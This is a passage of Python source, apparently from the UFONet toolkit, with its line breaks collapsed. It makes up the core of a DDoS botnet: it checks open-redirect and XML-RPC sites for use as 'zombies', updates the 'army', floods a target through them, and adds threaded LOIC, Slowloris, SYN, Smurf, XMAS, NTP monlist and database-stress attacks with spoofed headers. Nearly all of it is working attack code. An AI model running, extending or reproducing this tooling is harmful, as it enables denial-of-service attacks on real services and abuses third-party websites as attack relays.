[X-RPCs] Not any vulnerable 'rpc' active!\n")                return            else:                if not self.options.forceyes:                    update_reply = input("[AI] Do you want to update your army? (Y/n)")                    print('-'*25)                else:                    update_reply = "Y"                if update_reply == "n" or update_reply == "N":                    print("[AI] "+self.exit_msg+"\n")                    return                else:                    self.update_rpcs(rpcs_ready)                    if not self.options.upload:                        print("\n[Info] [AI] Botnet updated! -> ;-)\n")    def testing(self, zombies):        # test Open Redirect vulnerabilities on webapps and show statistics        # HTTP HEAD check        army = 0        print ("Are 'they' alive? :-) (HEAD Check):")        print('='*35)        num_active_zombies = 0        num_failed_zombies = 0        active_zombies = []        print("Trying:", len(zombies))        print('-'*21)        for zombie in zombies:            zombie = str(zombie)            if zombie.startswith("http://") or zombie.startswith("https://"):                # send HEAD connection                self.head = True                self.connect_zombies(zombie)        while self.herd.no_more_zombies() == False:            time.sleep(1)        for zombie in self.herd.done:            zombie = str(zombie)            t = urlparse(zombie)            if self.herd.get_result(zombie):                code_reply = self.herd.get_result(zombie)                self.head = False                if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405":                    name_zombie = t.netloc                    if name_zombie == "":                        name_zombie = zombie                    print("Zombie:", name_zombie)                    print("Status: OK ["+ code_reply + "]")                    num_active_zombies = num_active_zombies + 1                    active_zombies.append(zombie)                elif code_reply == "404":                    print("Zombie:", t.netloc)                    print("Status: Not Found ["+ code_reply + "]")                    num_failed_zombies = num_failed_zombies + 1                else:                    print("Zombie:", t.netloc, "\nVector:", zombie)                    print("Status: Not Allowed ["+ code_reply + "]")                    num_failed_zombies = num_failed_zombies + 1            else:                if self.options.verbose:                    print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")                print("Zombie:", zombie)                print("Status: Malformed!")                num_failed_zombies = num_failed_zombies + 1            print('-'*10)        self.herd.reset()        print('='*18)        print("OK:", num_active_zombies, "Fail:", num_failed_zombies)        print('='*18 + "\n")        print('='*22)        if num_active_zombies > 0:            # check url parameter vectors            print ("Checking for payloads:")            print('='*22)            print("Trying:", num_active_zombies)            print('-'*21)            zombies_ready = []            num_waiting_zombies = 0            if num_active_zombies == 0:                num_disconnected_zombies = num_failed_zombies            else:                num_disconnected_zombies = 0            for zombie in active_zombies:                zombie = str(zombie)                t = urlparse(zombie)                name_zombie = t.netloc                if name_zombie == "":                    name_zombie = zombie                self.payload = True                self.connect_zombies(zombie)                self.payload = False            while self.herd.no_more_zombies() == False:                time.sleep(1)            for zombie in self.herd.done:                zombie = str(zombie)                t = urlparse(zombie)                name_zombie = t.netloc                if name_zombie == "":                    name_zombie = zombie                payload_zombie = zombie                payload_reply = ""                print("Vector:", payload_zombie)                self.payload = True                if self.herd.get_result(zombie):                    payload_reply = self.herd.get_result(zombie)                self.payload = False                if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]                    num_waiting_zombies = num_waiting_zombies + 1                    print("Status:", "Waiting for orders... ;-)")                    zombies_ready.append(zombie)                else:                    num_disconnected_zombies = num_disconnected_zombies + 1                    print("Status:", "Not ready...")                army = army + 1                print('-'*10)            self.herd.reset()            print('='*18)            print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)            print('='*18 + "\n")            # list of [Zombies] ready to attack            num_active_zombie = 0            for z in zombies_ready:                t = urlparse(z)                name_zombie = t.netloc                if name_zombie == "":                    name_zombie = z                num_active_zombie = num_active_zombie + 1                if self.options.verbose:                    print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")            if self.options.testall: # testing_all                return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies            else:                print('-'*25 + "\n")                print('='*24)                print("Working [Zombies]:", num_active_zombie)                print('='*24)                if not self.options.forceyes:                    update_reply = input("\n[AI] Do you want to update your army? (Y/n)")                    print('-'*25)                else:                    update_reply = "Y"                if update_reply == "n" or update_reply == "N":                    print("[AI] "+self.exit_msg+"\n")                    return                 else:                    self.update_zombies(zombies_ready)                    if not self.options.upload:                        print("\n[Info] [AI] Botnet updated! -> ;-)\n")                        self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)        else:            print('-'*25 + "\n")            print('='*24)            print("Working [Zombies]:", num_active_zombies)            print('='*24)            print("\n[Info] [AI] [Zombies] aren't replying to your HEAD check! -> [Exiting!]\n")    def testing_all(self):        # test whole botnet        print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")        print('='*35)        zombies = self.extract_zombies()        rpcs = self.extract_rpcs()        aliens = self.extract_aliens()        droids = self.extract_droids()        ucavs = self.extract_ucavs()        try:            botnet = zombies + rpcs + aliens + droids + ucavs            tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs        except:            return        zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)        rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)        print("\n" + '='*52)        print("\n+ Total Botnet:", len(botnet))        print("\n" + '-'*25)        print("\n+ Total Tested:", len(tested_zombies))        print("\n  - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")        print("  - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")        print('='*52 + '\n')        if num_disconnected_zombies > 0 or num_failed_rpcs > 0:            if not self.options.forceyes:                update_reply = input("[AI] Do you want update your army? (Y/n)")                print('-'*25)            else:                update_reply = "Y"            if update_reply == "n" or update_reply == "N":                print("[AI] "+self.exit_msg+"\n")                return            else:                if num_disconnected_zombies > 0:                    self.update_zombies(zombies_ready)                if num_failed_rpcs > 0:                    self.update_rpcs(rpcs_ready)                if not self.options.upload:                    print("\n[Info] [AI] Botnet updated! -> ;-)\n")        else:            print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")    def attacking(self, zombies, target):        # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]        if self.options.forcessl:            if target.startswith("http://"):                target = target.replace("http://", "https://") # force SSL/TLS         if target.startswith("http://") or target.startswith("https://"):            print("Attacking:", target)            print('='*55, "\n")            # send Open Redirect injection (multiple zombies > one target url)            reply = self.injection(target, zombies)        else:            print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")    def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):        # perform some other extra attacks (such as DoS techniques)        time.sleep(2) # aiming (multi-threading flow time compensation)        if loic:            try:                self.options.loic = int(loic)            except:                self.options.loic = 100 # default LOIC requests            if self.options.loic < 1:                self.options.loic = 100            self.instance = LOIC() # instance main class for LOIC operations            self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy            self.t1.daemon = True # extra weapons are threaded as daemons            self.t1.start()            self.update_loic_stats() # add new LOIC attack to mothership stats        if loris:            try:                self.options.loris = int(loris)            except:                self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))            if self.options.loris < 1:                self.options.loris = 101             self.instance = LORIS() # instance main class for LORIS operations            self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads            self.t2.daemon = True            self.t2.start()            self.update_loris_stats() # add new LORIS attack to mothership stats        if ufosyn:            try:                self.options.ufosyn = int(ufosyn)            except:                self.options.ufosyn = 100 # default UFOSYN requests            if self.options.ufosyn < 1:                self.options.ufosyn = 100             self.instance = UFOSYN() # instance main class for UFOSYN operations            self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads            self.t3.daemon = True            self.t3.start()            self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats        if spray:            try:                self.options.spray = int(spray)            except:                self.options.spray = 100 # default SPRAY requests            if self.options.spray < 1:                self.options.spray = 100            self.instance = SPRAY() # instance main class for SPRAY operations            self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads            self.t4.daemon = True            self.t4.start()            self.update_spray_stats() # add new SPRAY attack to mothership stats        if smurf:            try:                self.options.smurf = int(smurf)            except:                self.options.smurf = 101 # default SMURF requests            if self.options.smurf < 1:                self.options.smurf = 101            self.instance = SMURF() # instance main class for SMURF operations            self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads            self.t5.daemon = True            self.t5.start()            self.update_smurf_stats() # add new SMURF attack to mothership stats        if xmas:            try:                self.options.xmas = int(xmas)            except:                self.options.xmas = 101 # default XMAS requests            if self.options.xmas < 1:                self.options.xmas = 101            self.instance = XMAS() # instance main class for XMAS operations            self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads            self.t6.daemon = True            self.t6.start()            self.update_xmas_stats() # add new XMAS attack to mothership stats        if nuke:            if sys.platform == "linux" or sys.platform == "linux2":                try:                    self.options.nuke = int(nuke)                except:                    self.options.nuke = 10000 # default NUKE requests                if self.options.nuke < 1:                    self.options.nuke = 10000                self.instance = NUKE() # instance main class for NUKE operations                self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads                self.t7.daemon = True # extra weapons are threaded as daemons                self.t7.start()                self.update_nuke_stats() # add new NUKE attack to mothership stats            else:                print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")        if tachyon:            try:                self.options.tachyon = int(tachyon)            except:                self.options.tachyon = 1000 # default TACHYON requests            if self.options.tachyon < 1:                self.options.tachyon = 1000            self.instance = TACHYON() # instance main class for TACHYON operations            self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads            self.t8.daemon = True            self.t8.start()            self.update_tachyon_stats() # add new TACHYON attack to mothership stats        if monlist:            try:                self.options.monlist = int(monlist)            except:                self.options.monlist = 1000 # default MONLIST requests            if self.options.monlist < 1:                self.options.monlist = 1000            self.instance = MONLIST() # instance main class for MONLIST operations            self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads            self.t9.daemon = True            self.t9.start()            self.update_monlist_stats() # add new MONLIST attack to mothership stats    def stressing(self, target, zombie):        # perform a DDoS Web attack against a target, requesting records on target's database        options = self.options        db_input = self.options.dbstress        def random_key(length):            key = ''            for i in range(length):                key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)            return key        # generating random alphanumeric queries        if self.db_flash > 9: # set db flash start on: 10            length = 1024 # search a heavy random length query (db flash): 1024            self.db_flash = 0 # reset db flash counter        else:            length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db        key = str(random_key(length))        if self.db_flash > 9:            print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")        else:            print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer        if not target.endswith('/'): # add "/" to end of target            target = target + "/"        url = zombie + target + db_input + key        req = urllib.request.Request(url, None, headers)        if options.proxy: # set proxy            self.proxy_transport(options.proxy)        try:            req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')        except urllib.error.HTTPError as e:            if e.code == 401:                print('[Info] [DBStress] Not authorized')            elif e.code == 404:                print('[Info] [DBStress] Not found')            elif e.code == 503:                print('[Info] [DBStress] Service unavailable')            else:                print('[Info] [DBStress] Unknown error')        else:            print('[Info] [DBStress] Database query: HIT!')    def attackme(self, zombies):        # perform a DDoS Web attack against yourself        print("[AI] Starting local port to listening at: " + self.port + "\n")         print('='*21 + "\n")        self.doll=Doll(self)        self.doll.start()        while not self.doll._armed:            time.sleep(1)        # send Open Redirect injection (multiple zombies-multiple target urls)        target = ""        self.injection(target, zombies)        self.doll.shutdown()        self.doll.join()        self.herd.list_fails()    def check_target_status(self):        if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up            print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")            if not self.options.forceyes:                update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")                print("\n" + '-'*25)            else:                update_reply = "N"            if update_reply == "y" or update_reply == "Y":                try: # send HEAD connection                    self.head = True                    reply = self.connect_zombie(target)                    self.head = False                    if reply:                        print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")                    else:                        print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")                        self.update_targets_crashed() # update targets crashed stats                        self.update_mothership_stats() # update mothership completed attack stats                except Exception:                    print("\n[Error] [AI] Something wrong with your connection!...\n")                    if self.options.verbose:                        traceback.print_exc()                return            else:                print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")                self.update_targets_crashed() # update targets crashed stats                self.update_mothership_stats() # update mothership completed attack stats                return    def starting_target_check(self, target, head_check):        options = self.options        head_check_here = False        head_check_external = False        if options.disablehead: # check at start is disabled (skipping!)            print("[Info] [AI] Skipping external check...\n")            head_check_here = True            head_check_external = True        else:            if head_check:                if not options.attackme:                    print("[AI] Launching: 'Is target up?' check...\n")                    try: # send HEAD connection                        self.head = True                        reply = self.connect_zombie(target)                        self.head = False                        if reply:                            print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")                            head_check_here = True                        else:                            print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")                            head_check_here = False                    except Exception:                        print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")                        if self.options.verbose:                            traceback.print_exc()                        head_check_here = False                else: # check if local IP/PORT is listening on mothership                    print("[AI] Launching: 'Is NAT ready?' check...\n")                    try:                        sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)                        result = sock.connect_ex(('0.0.0.0',8080))                        if result == 0 or result == 110: # black magic                            print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")                            head_check_here = True                        else:                            print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")                            head_check_here = False                    except Exception:                        print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")                        if self.options.verbose:                            traceback.print_exc()                        head_check_here = False            else:                head_check_here = True            # check target using external check services            self.external = True            if not options.attackme:                try:                    try:                        url = self.external_check_service1 + target # check from external service [1]                        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent                        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer                        if options.proxy: # set proxy                            self.proxy_transport(options.proxy)                        req = urllib.request.Request(url, None, headers)                        external_reply = urllib.request.urlopen(req, context=self.ctx).read()                        if "returned code 200 OK and is up".encode('utf-8') in external_reply:                            t = urlparse(self.external_check_service1)                            name_external1 = t.netloc                            print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")                            head_check_external = True                    except:                         url = self.external_check_service2 + target # check from external service [2]                        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent                        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer                        if options.proxy: # set proxy                            self.proxy_transport(options.proxy)                        req = urllib.request.Request(url, None, headers)                        req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')                        if "It's just you" in req_reply:                            t = urlparse(self.external_check_service2)                            name_external2 = t.netloc                            print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")                            head_check_external = True                        else:                            print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")                            head_check_external = False                except Exception:                        print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")                        if self.options.verbose:                            traceback.print_exc()                        head_check_external = False            else:                try: # check mothership from public ip / NAT using HEAD request                    try:                        req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")                        reply = urllib.request.urlopen(req)                    except Exception:                        reply = None                    if reply:                        print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")                        head_check_external = True                    else:                        print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")                        head_check_external = False                        head_check_here = False # stop attack if not public IP available                except Exception:                    print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")                    head_check_here = False # stop attack if not public IP available                    if self.options.verbose:                        traceback.print_exc()                    head_check_external = False            self.external = False        return head_check_here, head_check_external    def injection(self, target, zombies, head_check = True):        options = self.options        # check target's integrity at start        head_check_here, head_check_external = self.starting_target_check(target, head_check)        # ask user to confirm the attack        if head_check_here == True or head_check_external == True:            if not self.options.forceyes:                 if not options.attackme:                    if not options.disablehead:                        start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")                    else:                        start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")                else:                    if not options.disablehead:                        start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")                    else:                        start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")            else:                start_reply = "Y"            if start_reply == "y" or start_reply == "Y":                if options.attackme:                    total_rounds = 2 # default rounds for attackme                else:                    total_rounds = options.rounds # extract number of rounds                try:                    total_rounds = int(total_rounds)                except:                    total_rounds = 1                if not total_rounds:                    total_rounds = 1                if total_rounds <= 0:                    total_rounds = 1                self.herd.cleanup()                num_round = 1                num_hits = 0                num_zombie = 1                # start to attack the target with [MODS]                if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:                    ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks                    ex.daemon = True # extra weapons are threaded as daemons                    ex.start()                # start to attack the target with [ARMY]                zombies = self.extract_zombies() # extract zombies from file                if zombies:                    self.total_zombie = len(zombies)                else:                    self.total_zombie = 0                    return                self.herd=Herd(self)                if not self.options.disablepurge:                    self.discardzombies = []                    self.discard_aliens = []                    self.discard_droids = []                    self.discard_rpcs = []                    self.discard_ucavs = []                    total_disc_zombies = 0                    self.num_discard_zombies = 0                    self.num_discard_aliens = 0                    self.num_discard_droids = 0                    self.num_discard_rpcs = 0                    self.num_discard_ucavs = 0                    self.empty_zombies = False                for i in range(0, int(total_rounds)): # start attacking using rounds                    print ("\x1b[2J\x1b[H")# clear screen (black magic)                    print('='*42)                    print('Starting round:', num_round, ' of ', total_rounds)                    print('='*42)                    self.herd.reset()                    self.extra_zombies_lock = True                    self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round                    self.send_zombies(zombies) # send [Zombies]                    if not self.options.attackme:                        if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:                            if self.options.verbose:                                print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")                            self.send_extra_zombies() # send [ARMY]                            while self.extra_zombies_lock == True:                                time.sleep(1) # wait for [ARMY] to return                            if self.options.verbose:                                print("\n" + '='*42)                                print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")                        else:                            zombies_lock = 0                            if self.options.expire: # set timing for purge                                try:                                    timing = int(self.options.expire)                                except:                                    timing = self.expire_timing # default timing for purge                            else:                                timing = self.expire_timing # default timing for purge                            if timing < 1:                                timing = self.expire_timing # default timing for purge                            zombies_arrival_timing = timing # timing = trying to control round time for threading flow                            while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return                                zombies_lock = zombies_lock + 1                                if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!                                    if self.options.verbose:                                        print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")                                    break                                else:                                    time.sleep(1)                            if self.options.verbose:                                print("\n" + '='*42)                                print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")                    if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]                        self.check_target_status()                    if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check                        self.abandoning_zombies() # check for abandoning zombies                    for zombie in self.herd.done: # check for num hits                        if self.herd.connection_failed(zombie) == False:                            num_hits = num_hits + 1                        num_zombie = num_zombie + 1                        if num_zombie > self.total_zombie:                            num_zombie = 1                    if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target                        check_is_loading = self.check_is_loading(target)                    self.herd.dump_html()                    if not self.options.disablepurge:                        if self.empty_zombies == True:                            break # exit routine when not any more zombies                    num_round = num_round + 1                if self.options.verbose:                    print("\n" + '='*42)                    print("\n[Info] [AI] This battle is over! -> [Reporting!]")                if self.options.loic: # try to stop daemons/threads for extra weapons                    self.t1.join()                if self.options.loris:                    self.t2.join()                if self.options.ufosyn:                    self.t3.join()                if self.options.spray:                    self.t4.join()                if self.options.smurf:                    self.t5.join()                if self.options.xmas:                    self.t6.join()                if self.options.nuke:                    self.t7.join()                if self.options.tachyon:                    self.t8.join()                if self.options.monlist:                    self.t9.join()                if self.options.target_list:                    self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!                print ("\x1b[2J\x1b[H") # black magic                if not self.options.attackme: # show herd results                    self.herd.dump()                else: # show doll results                    print('='*21)                    print("\n[Info] [AI] Mothership transmission...\n")                    num_real_zombies = len(self.doll.real_zombies)                    print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")                    for z in self.doll.real_zombies: # show only alien verified zombies                        for x in z:                            print(" - " + str(x))                self.herd.dump_html(True) # show (all) zombies statistics                if not self.options.attackme:                    if not self.options.disablepurge:                        print("\n[Info] [AI] Report completed! -> [Purging!]\n")                    else:                        if not options.target_list:                            print("\n[Info] [AI] Report completed! -> [Exiting!]\n")                        else:                            print("\n[Info] [AI] Report completed! -> [OK!]\n")                    self.update_mothership_stats() # update mothership stats                    if not self.options.disablepurge:                        print('='*21+ "\n")                        total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs                        if total_disc_zombies > 0 and total_disc_zombies < 2:                             print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")                        elif total_disc_zombies > 1:                            print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")                        if self.num_discard_zombies > 0:                            print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")                        if self.num_discard_aliens > 0:                            print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")                        if self.num_discard_droids > 0:                            print(" + Droids : ["+ str(self.num_discard_droids)+"]")                        if self.num_discard_rpcs > 0:                            print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")                        if self.num_discard_ucavs > 0:                            print(" + UCAVs  : ["+ str(self.num_discard_ucavs)+"]")                        if total_disc_zombies > 0:                            if not self.options.forceyes:                                if total_disc_zombies > 0 and total_disc_zombies < 2:                                    backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")                                elif total_disc_zombies > 1:                                    backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")                            else:                                backup_reply = "Y"                            if backup_reply == "y" or backup_reply == "Y":                                print("\n[Info] [AI] Purging failed units from files...\n")                                discarded = []                                if self.num_discard_zombies > 0:                                    for z in self.discardzombies:                                        discarded.append(z)                                        print(" + [Info] [Zombies] "+z+" -> [Purged!]")                                if self.num_discard_aliens > 0:                                    for a in self.discard_aliens:                                        discarded.append(a)                                        print(" + [Info] [Aliens] "+a+" -> [Purged!]")                                if self.num_discard_droids > 0:                                    for d in self.discard_droids:                                        discarded.append(d)                                        print(" + [Info] [Droids] "+d+" -> [Purged!]")                                if self.num_discard_rpcs > 0:                                    for r in self.discard_rpcs:                                        discarded.append(r)                                        print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")                                if self.num_discard_ucavs > 0:                                    for u in self.discard_ucavs:                                        discarded.append(u)                                        print(" + [Info] [UCAVs] "+u+" -> [Purged!]")                                disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)                                if disc_zombies > 0 and disc_zombies < 2:                                    print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")                                elif disc_zombies > 1:                                    print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")                    if not self.options.target_list:                        print('-'*21+ "\n")                        print("[AI] "+self.exit_msg+"\n")                        if not self.options.web:                            return                    else:                        if self.num_target_list > 0: # still more targets                            print('-'*21+ "\n")                            print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")                            return                        else: # finish attack from multiple targets                            print('-'*21+ "\n")                            print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")                            print("\n"+ '='*21+ "\n")                            print("[Info] [AI] All your battles have ended! -> [Exiting!]")                            print("\n"+ '-'*21+ "\n")                            print("[AI] "+self.exit_msg+"\n")                            if not self.options.web:                                return                else:                    if num_real_zombies < 1: # not any 100% vulnerable zombie found                        print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")                        if os.path.exists('mothership') == True:                            os.remove('mothership') # remove mothership stream                        if os.path.exists('alien') == True:                            os.remove('alien') # remove random alien worker                        if not options.web:                            sys.exit(2) # exit                        else:                            return            else:                print("\n" + '='*21)                AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")                if AI_reply == "y" or AI_reply == "Y":                    self.AI() # AI fortune cookie                print('-'*21+ "\n")                print("\n[AI] "+self.exit_msg+"\n")                if os.path.exists('mothership') == True:                    os.remove('mothership') # remove mothership stream                if os.path.exists('alien') == True:                    os.remove('alien') # remove random alien worker                if not options.web:                    sys.exit(2) # exit                else:                    return        else:            if not options.attackme:                print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")             else:                print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")            print("\n" + '-'*21)            print("\n[AI] "+self.exit_msg+"\n")            if os.path.exists('mothership') == True:                os.remove('mothership') # remove mothership stream            if os.path.exists('alien') == True:                os.remove('alien') # remove random alien worker            returnif __name__ == "__main__":    app = UFONet()    options = app.create_options()    if options:        app.run()
 |